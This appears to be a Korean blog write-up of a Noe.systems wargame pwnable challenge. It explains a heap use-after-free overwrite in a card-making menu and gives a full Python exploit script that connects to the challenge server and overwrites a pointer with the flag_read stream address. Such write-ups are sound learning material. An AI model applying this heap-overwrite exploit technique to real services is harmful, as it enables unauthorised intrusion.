main의 소스를 보면 이렇게 되어있는데
우선 flag_read 함수를 볼 수 있다
이게 플래그 함수다.
이건 메뉴다
이문제는 Plaid-ctf-prodmanager와 비슷하다.
1번을 눌러서 make_card 함수를 보면
name addr job 입력을 받는데 malloc으로 할당한 공간에 값을 넣는다
여기 malloc다음 f8을 한번 누르면 레지스터창에 힙 주소를 알 수 있다
이런식으로 malloc 후 free하고 다시 그 위에 값을 쓰면 저런식으로 값이 나온다
이렇게 되는걸 알 수 있는데
계속 해보니깐 152바이트까지는 출력이 된다
그러니 152를 넣고 flag_read에 있는 stream 주소를 넣으면
4번을 눌렀을 때 플래그를 보여준다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 | from struct import * from socket import * from time import sleep p64 = lambda x : pack('<Q', x) s = socket(AF_INET, SOCK_STREAM) s.connect(("noe.systems", 50000)) sleep(0.3) print s.recv(1024) s.send("1"+"\n") sleep(0.3) print s.recv(1024) s.send("AAAA"+"\n") sleep(0.3) s.send("BBBB"+"\n") sleep(0.3) s.send("CCCC"+"\n") sleep(0.3) print s.recv(1024) sleep(0.3) s.send("2"+"\n") sleep(0.3) s.send("3"+"\n") sleep(0.3) print s.recv(1024) sleep(0.3) payload = "A"*50+"B"*50+"C"*52 payload += p64(0x602120) s.send(payload+"\n") sleep(0.3) print s.recv(1024) sleep(0.3) s.send("4"+"\n") sleep(0.3) print s.recv(1024) sleep(0.3) s.send("0"+"\n") sleep(0.3) print s.recv(1024) sleep(0.3) print s.recv(1024) sleep(0.3) print s.recv(1024) # print "A"*50+"B"*50+"C"*56 # flag = 0x602120 | cs |
64비트환경이라서 p64를 해줘야한다 ㅡㅡ
'WARGAME > Noe.systems' 카테고리의 다른 글
[Noe.systems] The Shape of Voice [Forensic] (0) | 2017.05.10 |
---|---|
[Noe.systems] LoginSystem [Reversing] (0) | 2017.05.10 |
[Noe.systems] Easy keygen [Reversing] (0) | 2017.05.10 |
[Noe.systems] Break Time [Reversing] (0) | 2017.05.10 |
[Noe.systems] Double Double [Misc] (0) | 2017.05.10 |